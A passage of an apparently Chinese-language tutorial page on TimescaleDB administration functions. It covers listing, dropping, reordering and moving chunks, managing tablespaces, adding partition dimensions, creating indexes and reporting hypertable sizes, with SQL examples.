DATE类型，返回错误。</li><li>时间戳，天，整型: TIMESTAMP / TIMESTAMPTZ / DATE 类型或者 SMALLINT / INT / BIGINT等数值类型. 类型需要和时序元数据表的时间列类型一致。</li></ul><p>当两者同时使用时，函数返回两者的交集。例如，当出现newer_than =&gt; 4 months and older_than =&gt; 3 monthsW时，所有介于两者之间的数据块都会被删除掉。同样出现 newer_than =&gt; ‘2017-01-01’ and older_than =&gt; ‘2017-02-01’ 会删除介于’2017-01-01’ 和 ‘2017-02-01’的所有数据块. 如果2个时间段没有交集，则报错。</p></li></ul><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"># 显示所有数据块。当没有创建表时，返回<span class="number">0.</span></span><br><span class="line"><span class="keyword">SELECT</span> show_chunks();</span><br><span class="line"></span><br><span class="line"># 期望输出:</span><br><span class="line">_timescaledb_internal._hyper_7_4_chunk</span><br><span class="line">_timescaledb_internal._hyper_7_5_chunk</span><br><span class="line">_timescaledb_internal._hyper_7_6_chunk</span><br><span class="line">_timescaledb_internal._hyper_7_7_chunk</span><br><span class="line">_timescaledb_internal._hyper_7_8_chunk</span><br><span class="line">_timescaledb_internal._hyper_7_9_chunk</span><br><span class="line">_timescaledb_internal._hyper_7_10_chunk</span><br><span class="line">_timescaledb_internal._hyper_7_12_chunk</span><br><span class="line">_timescaledb_internal._hyper_7_13_chunk</span><br><span class="line">_timescaledb_internal._hyper_7_14_chunk</span><br><span class="line">_timescaledb_internal._hyper_7_15_chunk</span><br><span class="line">_timescaledb_internal._hyper_7_24_chunk</span><br><span class="line">_timescaledb_internal._hyper_7_25_chunk</span><br><span class="line">_timescaledb_internal._hyper_7_26_chunk</span><br><span class="line">_timescaledb_internal._hyper_7_41_chunk</span><br><span class="line"></span><br><span class="line"># 显示关联表的所有数据块（输出内容见下图）:</span><br><span class="line"><span class="keyword">SELECT</span> show_chunks(<span class="string">&#x27;表名&#x27;</span>);</span><br><span class="line"></span><br><span class="line"># 显示早于<span class="number">3</span>个月的所有数据块：</span><br><span class="line"><span class="keyword">SELECT</span> show_chunks(<span class="string">&#x27;表名&#x27;</span>, older_than <span class="operator">=</span><span class="operator">&gt;</span> <span class="type">interval</span> <span class="string">&#x27;3 months&#x27;</span>);</span><br><span class="line"></span><br><span class="line"># 显示未来三个月的所有数据块。当时间出错时非常有用：</span><br><span class="line"><span class="keyword">SELECT</span> show_chunks(<span class="string">&#x27;表名&#x27;</span>, newer_than <span class="operator">=</span><span class="operator">&gt;</span> now() <span class="operator">+</span> <span class="type">interval</span> <span class="string">&#x27;3 months&#x27;</span>);</span><br><span class="line"></span><br><span class="line"># 显示指定表 时序元数据表上早于<span class="number">2021</span><span class="number">-10</span><span class="number">-06</span>年的数据块:</span><br><span class="line"><span class="keyword">SELECT</span> show_chunks(<span class="string">&#x27;表名&#x27;</span>, older_than <span class="operator">=</span><span class="operator">&gt;</span> <span class="string">&#x27;2021-10-06&#x27;</span>::<span class="type">date</span>);</span><br><span class="line"></span><br><span class="line"># 显示新于<span class="number">3</span>个月的数据块：</span><br><span class="line"><span class="keyword">SELECT</span> show_chunks(<span class="string">&#x27;表名&#x27;</span>, newer_than <span class="operator">=</span><span class="operator">&gt;</span> <span class="type">interval</span> <span class="string">&#x27;3 months&#x27;</span>);</span><br><span class="line"></span><br><span class="line"># 显示早于<span class="number">3</span>个月新于<span class="number">4</span>个月的所有数据块：</span><br><span class="line"><span class="keyword">SELECT</span> show_chunks(<span class="string">&#x27;表名&#x27;</span>, older_than <span class="operator">=</span><span class="operator">&gt;</span> <span class="type">interval</span> <span class="string">&#x27;3 months&#x27;</span>, newer_than <span class="operator">=</span><span class="operator">&gt;</span> <span class="type">interval</span> <span class="string">&#x27;4 months&#x27;</span>);</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/202110181011938.png" alt="image-20211018101158852"></p><h3 id="4-删除数据快-drop-chunks-）">4.删除数据快 drop_chunks(）</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"># 删除早于<span class="number">3</span>个月的所有数据块</span><br><span class="line"><span class="keyword">SELECT</span> drop_chunks(<span class="type">interval</span> <span class="string">&#x27;3 months&#x27;</span>);</span><br><span class="line"></span><br><span class="line"># 删除未来<span class="number">3</span>个月的数据块。校订数据时非常有用:</span><br><span class="line"><span class="keyword">SELECT</span> drop_chunks(newer_than <span class="operator">=</span><span class="operator">&gt;</span> now() <span class="operator">+</span> <span class="type">interval</span> <span class="string">&#x27;3 months&#x27;</span>);</span><br><span class="line"></span><br><span class="line"># 删除指定表 时序元数据表上早于<span class="number">3</span>个月的数据块:</span><br><span class="line"><span class="keyword">SELECT</span> drop_chunks(<span class="type">interval</span> <span class="string">&#x27;3 months&#x27;</span>, <span class="string">&#x27;表名&#x27;</span>);</span><br><span class="line"></span><br><span class="line"># 删除指定表 时序元数据表上早于<span class="number">2020</span>年<span class="number">1</span>月<span class="number">1</span>日的数据块:</span><br><span class="line"><span class="keyword">SELECT</span> drop_chunks(<span class="string">&#x27;2020-01-01&#x27;</span>::<span class="type">date</span>, <span class="string">&#x27;表名&#x27;</span>);</span><br><span class="line"></span><br><span class="line"># 删除指定表 时序元数据表上早于<span class="number">3</span>个月的数据块，同时删除数据块的以来对象:</span><br><span class="line"><span class="keyword">SELECT</span> drop_chunks(<span class="type">interval</span> <span class="string">&#x27;3 months&#x27;</span>, <span class="string">&#x27;conditions&#x27;</span>, cascade <span class="operator">=</span><span class="operator">&gt;</span> <span class="literal">TRUE</span>);</span><br><span class="line"></span><br><span class="line"># 删除新于未来<span class="number">3</span>个月的所有数据块:</span><br><span class="line"><span class="keyword">SELECT</span> drop_chunks(newer_than <span class="operator">=</span><span class="operator">&gt;</span> <span class="type">interval</span> <span class="string">&#x27;3 months&#x27;</span>);</span><br><span class="line"></span><br><span class="line"># 删除早于<span class="number">3</span>个月新于<span class="number">4</span>个月的所有数据块：</span><br><span class="line"><span class="keyword">SELECT</span> drop_chunks(older_than <span class="operator">=</span><span class="operator">&gt;</span> <span class="type">interval</span> <span class="string">&#x27;3 months&#x27;</span>, newer_than <span class="operator">=</span><span class="operator">&gt;</span> <span class="type">interval</span> <span class="string">&#x27;4 months&#x27;</span>, table_name <span class="operator">=</span><span class="operator">&gt;</span> <span class="string">&#x27;conditions&#x27;</span>)</span><br></pre></td></tr></table></figure><h3 id="5-数据块重新排序-reorder-chunk">5.数据块重新排序 reorder_chunk()</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"># _timescaledb_internal._hyper_1_10_chunk使用conditions_device_id_time_idx索引对块运行重新排序。</span><br><span class="line"><span class="keyword">SELECT</span> reorder_chunk(<span class="string">&#x27;_timescaledb_internal._hyper_1_10_chunk&#x27;</span>, <span class="string">&#x27;conditions_device_id_time_idx&#x27;</span>);</span><br></pre></td></tr></table></figure><h3 id="6-移动数据块move-chunk">6.移动数据块move_chunk()</h3><p>将数据和索引移动到不同的表空间，可以在数据老化时将数据移动到成本更低的储存中。</p><p>move_chunk函数的作用类似于PostgreSQL CLUSTER命令和PostgreSQL ALTER TABLE命令的组合。 设置表空间的命令。move_chunk函数使用较低的锁级别，以便大部分进程都能读取chunk和hypertable。 会导致在操作期间略微增加磁盘使用。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> move_chunk(</span><br><span class="line">  chunk <span class="operator">=</span><span class="operator">&gt;</span> <span class="string">&#x27;_timescaledb_internal._hyper_1_4_chunk&#x27;</span>,</span><br><span class="line">  destination_tablespace <span class="operator">=</span><span class="operator">&gt;</span> <span class="string">&#x27;tablespace_2&#x27;</span>,</span><br><span class="line">  index_destination_tablespace <span class="operator">=</span><span class="operator">&gt;</span> <span class="string">&#x27;tablespace_3&#x27;</span>,</span><br><span class="line">  reorder_index <span class="operator">=</span><span class="operator">&gt;</span> <span class="string">&#x27;conditions_device_id_time_idx&#x27;</span>,</span><br><span class="line">  verbose <span class="operator">=</span><span class="operator">&gt;</span> <span class="literal">TRUE</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><h3 id="7-创建一个策略按指定索引重新排序已完成的块add-reorder-policy">7.创建一个策略按指定索引重新排序已完成的块add_reorder_policy()</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> add_reorder_policy(<span class="string">&#x27;conditions&#x27;</span>, <span class="string">&#x27;conditions_device_id_time_idx&#x27;</span>);</span><br></pre></td></tr></table></figure><h3 id="8-删除重新排序特定超表的策略-remove-reorder-policy">8.删除重新排序特定超表的策略 remove_reorder_policy()</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"># 删除表的现有重新排序策略（指定表如果存在）</span><br><span class="line"><span class="keyword">SELECT</span> remove_reorder_policy(<span class="string">&#x27;表名&#x27;</span>, if_exists <span class="operator">=</span><span class="operator">&gt;</span> <span class="literal">true</span>);</span><br></pre></td></tr></table></figure><h3 id="9-磁盘操作，表空间的迁移，附加表空间attach-tablespace（）">9.磁盘操作，表空间的迁移，附加表空间attach_tablespace（）</h3><p>将表空间附加到超级表并使用它存储块。表空间是文件系统上的一个目录，它允许控制单个表和索引在文件系统上的存储位置。一个常见的用例是为特定的存储磁盘创建一个表空间，允许表存储在那里。有关表空间的更多信息，请查看标准PostgreSQL文档。</p><p>TimescaleDB可以为每个超表管理一组表空间，从而自动在连接到超表的一组表空间上散布块。 如果对超表进行哈希分区，则TimescaleDB将尝试将属于同一分区的块放在同一表空间中。 更改附加到超表的表空间集也可能会更改放置行为。 没有附加表空间的超表将其块放置在数据库的默认表空间中。</p><p>在将表空间附加到超表之前，需要先创建表空间。 创建表空间后，可以将其同时附加到多个超表，以共享基础磁盘存储。 在调用create_hypertable之前，使用TABLESPACE选项将CREATE TABLE与常规表相关联的表空间将具有与在create_hypertable之后立即调用attach_tablespace相同的效果。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"># 附加表空间disk1到超级表conditions上：</span><br><span class="line"><span class="keyword">SELECT</span> attach_tablespace(<span class="string">&#x27;disk1&#x27;</span>, <span class="string">&#x27;conditions&#x27;</span>);</span><br><span class="line"><span class="keyword">SELECT</span> attach_tablespace(<span class="string">&#x27;disk2&#x27;</span>, <span class="string">&#x27;conditions&#x27;</span>, if_not_attached <span class="operator">=</span><span class="operator">&gt;</span> <span class="literal">true</span>);</span><br></pre></td></tr></table></figure><h3 id="10-分离表空间detach-tablespace（）">10.分离表空间detach_tablespace（）</h3><p>当指定一个特定的超级表时，表空间只会与给定的超级表分离，因此可能会保持附加到其他超级表。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"># disk1从 hypertable 中分离表空间conditions：</span><br><span class="line"><span class="keyword">SELECT</span> detach_tablespace(<span class="string">&#x27;disk1&#x27;</span>, <span class="string">&#x27;conditions&#x27;</span>);</span><br><span class="line"><span class="keyword">SELECT</span> detach_tablespace(<span class="string">&#x27;disk2&#x27;</span>, <span class="string">&#x27;conditions&#x27;</span>, if_attached <span class="operator">=</span><span class="operator">&gt;</span> <span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line"># disk1从当前用户有权访问的所有超级表中分离表空间：</span><br><span class="line"><span class="keyword">SELECT</span> detach_tablespace(<span class="string">&#x27;disk1&#x27;</span>);</span><br></pre></td></tr></table></figure><h3 id="11-分离表空间detach-tablespaces（）">11.分离表空间detach_tablespaces（）</h3><p>从超表中分离所有表空间。在超级表上发出此命令后，它将不再附加任何表空间。新的块将被放置在数据库的默认表空间中。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"># 从 hypertable 中分离所有表空间conditions：</span><br><span class="line"><span class="keyword">SELECT</span> detach_tablespaces(<span class="string">&#x27;conditions&#x27;</span>);</span><br></pre></td></tr></table></figure><h3 id="12-显示附加到超表的表空间show-tablespaces（）">12.显示附加到超表的表空间show_tablespaces（）</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">SELECT * FROM show_tablespaces(&#x27;conditions&#x27;);</span><br><span class="line"></span><br><span class="line"> show_tablespaces</span><br><span class="line">------------------</span><br><span class="line"> disk1</span><br><span class="line"> disk2</span><br></pre></td></tr></table></figure><h3 id="13-为具有UTC时间的超表设置整数-now-函数-set-integer-now-func（）">13.为具有UTC时间的超表设置整数 now 函数 set_integer_now_func（）</h3><p>此函数仅与具有整数（而不是 TIMESTAMP/TIMESTAMPTZ/DATE）时间值的超级表相关。对于这种超表，它设置了一个函数，<code>now()</code>以时间列的单位返回值（当前时间）。这对于在基于整数的表上运行某些策略是必要的。许多策略仅适用于特定生命周期的块，并且需要返回当前时间的函数来确定块的生命周期。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> <span class="keyword">OR</span> REPLACE <span class="keyword">FUNCTION</span> unix_now() <span class="keyword">returns</span> <span class="type">BIGINT</span> <span class="keyword">LANGUAGE</span> <span class="keyword">SQL</span> STABLE <span class="keyword">as</span> $$ <span class="keyword">SELECT</span> <span class="built_in">extract</span>(epoch <span class="keyword">from</span> now())::<span class="type">BIGINT</span> $$;</span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span> set_integer_now_func(<span class="string">&#x27;test_table_bigint&#x27;</span>, <span class="string">&#x27;unix_now&#x27;</span>);</span><br></pre></td></tr></table></figure><h3 id="14-添加额外的分区维度-add-dimension（）">14.添加额外的分区维度 add_dimension（）</h3><p>向 TimescaleDB 超表添加额外的分区维度。选择作为维度的列可以使用间隔分区（例如，用于第二次分区）或散列分区。</p><p>该<code>add_dimension</code>命令只能在表转换为超表（通过<code>create_hypertable</code>）后执行，但同样只能在空的超表上运行。</p><p><strong>空间分区</strong>：强烈建议对<a href="https://docs.timescale.com/api/latest/distributed-hypertables/create_distributed_hypertable/">分布式超级表</a>使用空间分区，以实现高效的横向扩展性能。对于仅存 在于单个节点上的<a href="https://docs.timescale.com/api/latest/hypertable/create_hypertable/">常规超</a>表，额外的分区可用于特殊用例，不建议大多数用户使用。</p><p>空间分区使用散列：每个不同的项目都被散列到 <em>N 个</em>存储桶之一。请记住，我们已经在使用（灵活的）时间间隔来管理块大小；空间分区的主要目的是在同一时间间隔内跨多个数据节点（在分布式超级表的情况下）或跨多个磁盘（在单节点部署的情况下）实现并行化。</p><h4 id="跨多个数据节点并行查询">跨多个数据节点并行查询</h4><p>在分布式超级表中，空间分区允许跨数据节点并行插入，即使插入的行共享同一时间间隔的时间戳，从而提高摄取率。查询性能也通过能够并行查询跨节点，特别是当（例如，如在查询的全部或部分的聚合可以被“按下”到数据节点的好处 <code>avg(temperature) FROM conditions GROUP BY hour, location</code> 使用时<code>location</code>作为一个空间分区）。<a href="https://docs.timescale.com/timescaledb/latest/how-to-guides/hypertables/best-practices/">有关</a> 详细信息，请参阅我们<a href="https://docs.timescale.com/timescaledb/latest/how-to-guides/hypertables/best-practices/">关于在分布式超表中</a>进行<a href="https://docs.timescale.com/timescaledb/latest/how-to-guides/hypertables/best-practices/">分区</a>的 <a href="https://docs.timescale.com/timescaledb/latest/how-to-guides/hypertables/best-practices/">最佳实践</a>。</p><h4 id="在单个节点上并行化磁盘-I-O">在单个节点上并行化磁盘 I/O</h4><p>并行 I/O 可以在两种情况下受益：(a) 两个或多个并发查询应该能够从不同的磁盘并行读取，或者 (b) 单个查询应该能够使用查询并行化从多个磁盘并行读取.</p><p>因此，寻找并行 I/O 的用户有两个选择：</p><ol><li>跨多个物理磁盘使用 RAID 设置，并将单个逻辑磁盘公开给超级表（即，通过单个表空间）。</li><li>对于每个物理磁盘，向数据库添加一个单独的表空间。TimescaleDB 允许您将多个表空间实际添加到<em>单个</em>超级表（尽管在幕后，超级表的块分布在与该超级表关联的表空间中）。</li></ol><p>我们建议尽可能使用 RAID 设置，因为它支持上述两种并行化形式（即，对单独磁盘的单独查询，对多个磁盘的并行查询）。多表空间方法只支持前者。使用 RAID 设置， <em>不需要空间分区</em>。</p><p>也就是说，在使用空间分区时，我们建议每个磁盘使用 1 个空间分区。</p><p>TimescaleDB并<em>没有</em>从一个非常大的数字空间的分区中受益（如独特的项目数您在分区字段预期）。大量这样的分区会导致每个分区的负载平衡较差（使用散列将项目映射到分区），以及增加某些类型查询的计划延迟。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"># 首先将 <span class="keyword">table</span> 转换conditions为 hypertable，只需在 <span class="keyword">column</span> 上进行时间分区<span class="type">time</span>，然后在location四个分区上添加一个额外的分区键：</span><br><span class="line"><span class="keyword">SELECT</span> create_hypertable(<span class="string">&#x27;表名&#x27;</span>, <span class="string">&#x27;time&#x27;</span>);</span><br><span class="line"><span class="keyword">SELECT</span> add_dimension(<span class="string">&#x27;表名&#x27;</span>, <span class="string">&#x27;location&#x27;</span>, number_partitions <span class="operator">=</span><span class="operator">&gt;</span> <span class="number">4</span>);</span><br><span class="line"></span><br><span class="line"># 将表转换conditions为具有时间分区<span class="type">time</span>和空间分区（<span class="number">2</span> 个分区）的超表location，然后添加两个额外的维度。</span><br><span class="line"><span class="keyword">SELECT</span> create_hypertable(<span class="string">&#x27;表名&#x27;</span>, <span class="string">&#x27;time&#x27;</span>, <span class="string">&#x27;location&#x27;</span>, <span class="number">2</span>);</span><br><span class="line"><span class="keyword">SELECT</span> add_dimension(<span class="string">&#x27;表名&#x27;</span>, <span class="string">&#x27;time_received&#x27;</span>, chunk_time_interval <span class="operator">=</span><span class="operator">&gt;</span> <span class="type">INTERVAL</span> <span class="string">&#x27;1 day&#x27;</span>);</span><br><span class="line"><span class="keyword">SELECT</span> add_dimension(<span class="string">&#x27;表名&#x27;</span>, <span class="string">&#x27;device_id&#x27;</span>, number_partitions <span class="operator">=</span><span class="operator">&gt;</span> <span class="number">2</span>);</span><br><span class="line"><span class="keyword">SELECT</span> add_dimension(<span class="string">&#x27;表名&#x27;</span>, <span class="string">&#x27;device_id&#x27;</span>, number_partitions <span class="operator">=</span><span class="operator">&gt;</span> <span class="number">2</span>, if_not_exists <span class="operator">=</span><span class="operator">&gt;</span> <span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line"># 在具有一个访问节点和两个数据节点的集群的分布式超级表的多节点示例中，配置访问节点以访问两个数据节点。然后，将 <span class="keyword">table</span> 转换conditions为仅在 <span class="keyword">column</span> 上进行时间分区的分布式超表<span class="type">time</span>，最后添加location 具有两个分区的空间分区维度（作为附加数据节点的数量）。</span><br><span class="line"><span class="keyword">SELECT</span> add_data_node(<span class="string">&#x27;dn1&#x27;</span>, host <span class="operator">=</span><span class="operator">&gt;</span> <span class="string">&#x27;dn1.example.com&#x27;</span>);</span><br><span class="line"><span class="keyword">SELECT</span> add_data_node(<span class="string">&#x27;dn2&#x27;</span>, host <span class="operator">=</span><span class="operator">&gt;</span> <span class="string">&#x27;dn2.example.com&#x27;</span>);</span><br><span class="line"><span class="keyword">SELECT</span> create_distributed_hypertable(<span class="string">&#x27;表名&#x27;</span>, <span class="string">&#x27;time&#x27;</span>);</span><br><span class="line"><span class="keyword">SELECT</span> add_dimension(<span class="string">&#x27;表名&#x27;</span>, <span class="string">&#x27;location&#x27;</span>, number_partitions <span class="operator">=</span><span class="operator">&gt;</span> <span class="number">2</span>);</span><br></pre></td></tr></table></figure><h3 id="15-创建索引-CREATE-INDEX">15.创建索引 CREATE INDEX</h3><p>此选项扩展了[ <code>CREATE INDEX</code>][postgres-createindex]的能力，可以为其创建索引的每个块使用单独的事务，而不是对整个超表使用单个事务。这允许批量<code>INSERT</code>在<code>CREATE INDEX</code>命令的大部分持续时间内同时执行并执行其他操作。在单个块上创建索引时，它的功能就像<code>CREATE INDEX</code>在该块上调用了常规程序一样，但是其他块完全不受阻塞。</p><p>如果操作中途失败，则可能不会在所有超表块上创建索引。如果发生这种情况，hypertable 根表上的索引将被标记为无效（这可以通过<code>\d+</code>在 hypertable 上运行看到）。索引仍然有效，并将在新块上创建，但如果您希望确保 <em>all</em> 块具有索引的副本，请删除并重新创建它。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"># 匿名索引</span><br><span class="line"><span class="keyword">CREATE</span> INDEX <span class="keyword">ON</span> 表名(<span class="type">time</span>, device_id) <span class="keyword">WITH</span> (timescaledb.transaction_per_chunk);</span><br><span class="line"></span><br><span class="line"># 其他索引</span><br><span class="line"><span class="keyword">CREATE</span> INDEX <span class="keyword">ON</span> 表名(<span class="type">time</span>, location) <span class="keyword">USING</span> brin</span><br><span class="line">  <span class="keyword">WITH</span> (timescaledb.transaction_per_chunk);</span><br></pre></td></tr></table></figure><h3 id="16-超表的总磁盘占用-hypertable-size（）">16.超表的总磁盘占用 hypertable_size（）</h3><p>获取超表使用的总磁盘空间，即表本身（包括块）、表上的任何索引和任何 toast 表的大小总和。大小以字节为单位报告。这相当于<code>total_bytes</code>从<code>hypertable_detailed_size</code>函数的输出计算列的总和。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"># 获取超表的大小信息</span><br><span class="line"><span class="keyword">SELECT</span> hypertable_size(<span class="string">&#x27;表名&#x27;</span>) ;</span><br><span class="line"></span><br><span class="line"> hypertable_size</span><br><span class="line"><span class="comment">-----------------</span></span><br><span class="line">           <span class="number">73728</span></span><br><span class="line">  </span><br><span class="line"># 获取所有超表的大小信息</span><br><span class="line"><span class="keyword">SELECT</span> hypertable_name, hypertable_size(format(<span class="string">&#x27;%I.%I&#x27;</span>, hypertable_schema, hypertable_name)::regclass)</span><br><span class="line">  <span class="keyword">FROM</span> timescaledb_information.hypertables;</span><br><span class="line">           </span><br></pre></td></tr></table></figure><h3 id="17-超表大小信息-hypertable-detailed-size（）">17.超表大小信息 hypertable_detailed_size（）</h3><p>获取有关超级表使用的磁盘空间的详细信息，返回表本身的大小信息、表上的任何索引、任何 Toast 表以及所有表的总大小。所有大小都以字节为单位报告。如果该函数在分布式超级表上执行，它会以每个节点（包括访问节点）的单独行的形式返回大小信息。</p><p>列出的访问节点没有用户指定的节点名称。通常，访问节点不持有数据，但仍维护例如占用少量磁盘空间的索引信息。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"># 获取超表的大小信息</span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> hypertable_detailed_size(<span class="string">&#x27;表名&#x27;</span>) <span class="keyword">ORDER</span> <span class="keyword">BY</span> node_name;</span><br><span class="line"></span><br><span class="line"> table_bytes <span class="operator">|</span> index_bytes <span class="operator">|</span> toast_bytes <span class="operator">|</span> total_bytes <span class="operator">|</span>  node_name</span><br><span class="line"><span class="comment">-------------+-------------+-------------+-------------+-------------</span></span><br><span class="line">       <span class="number">16384</span> <span class="operator">|</span>       <span class="number">40960</span> <span class="operator">|</span>           <span class="number">0</span> <span class="operator">|</span>       <span class="number">57344</span> <span class="operator">|</span> data_node_1</span><br><span class="line">        <span class="number">8192</span> <span class="operator">|</span>       <span class="number">24576</span> <span class="operator">|</span>           <span class="number">0</span> <span class="operator">|</span>       <span class="number">32768</span> <span class="operator">|</span> data_node_2</span><br><span class="line">           <span class="number">0</span> <span class="operator">|</span>        <span class="number">8192</span> <span class="operator">|</span>           <span class="number">0</span> <span class="operator">|</span>        <span class="number">8192</span> <span class="operator">|</span></span><br></pre></td></tr></table></figure><h3 id="18-超表的索引-磁盘占用hypertable-index-size（）">18.超表的索引 磁盘占用hypertable_index_size（）</h3><p>获取 hypertable 上的索引使用的磁盘空间，包括在所有块上提供索引所需的磁盘空间。大小以字节为单位报告。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"># 获取 hypertable 上特定索引的大小。</span><br><span class="line">conditions_table</span><br><span class="line">                  <span class="keyword">Table</span> &quot;public.conditions_table&quot;</span><br><span class="line"> <span class="keyword">Column</span> <span class="operator">|</span>           Type           <span class="operator">|</span> <span class="keyword">Collation</span> <span class="operator">|</span> Nullable <span class="operator">|</span> <span class="keyword">Default</span> </span><br><span class="line"><span class="comment">--------+--------------------------+-----------+----------+---------</span></span><br><span class="line"> <span class="type">time</span>   <span class="operator">|</span> <span class="type">timestamp</span> <span class="keyword">with</span> <span class="type">time</span> zone <span class="operator">|</span>           <span class="operator">|</span> <span class="keyword">not null</span> <span class="operator">|</span> </span><br><span class="line"> device <span class="operator">|</span> <span class="type">integer</span>                  <span class="operator">|</span>           <span class="operator">|</span>          <span class="operator">|</span> </span><br><span class="line"> volume <span class="operator">|</span> <span class="type">integer</span>                  <span class="operator">|</span>           <span class="operator">|</span>          <span class="operator">|</span> </span><br><span class="line">Indexes:</span><br><span class="line">    &quot;second_index&quot; btree (&quot;time&quot;)</span><br><span class="line">    &quot;test_table_time_idx&quot; btree (&quot;time&quot; <span class="keyword">DESC</span>)</span><br><span class="line">    &quot;third_index&quot; btree (&quot;time&quot;)</span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span> hypertable_index_size(<span class="string">&#x27;second_index&#x27;</span>);</span><br><span class="line"></span><br><span class="line"> hypertable_index_size </span><br><span class="line"><span class="comment">-----------------------</span></span><br><span class="line">                <span class="number">163840</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span> pg_size_pretty(hypertable_index_size(<span class="string">&#x27;second_index&#x27;</span>));</span><br><span class="line"></span><br><span class="line"> pg_size_pretty </span><br><span class="line"><span class="comment">----------------</span></span><br><span class="line"> <span class="number">160</span> kB</span><br></pre></td></tr></table></figure><h3 id="19-超表的快-磁盘占用-chunks-detailed-size（）">19.超表的快 磁盘占用 chunks_detailed_size（）</h3><p>获取属于超表的块所使用的磁盘空间的信息，返回每个块表的大小信息、块上的任何索引、任何 toast 表以及与块关联的总大小。所有大小都以字节为单位报告。</p><p>如果该函数在分布式超级表上执行，它会将磁盘空间使用信息作为每个节点的单独行返回。不包括访问节点，因为它没有任何本地块数据。</p><p>可以通过<code>timescaledb_information.chunks</code>视图访问与块关联的其他元数据。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span 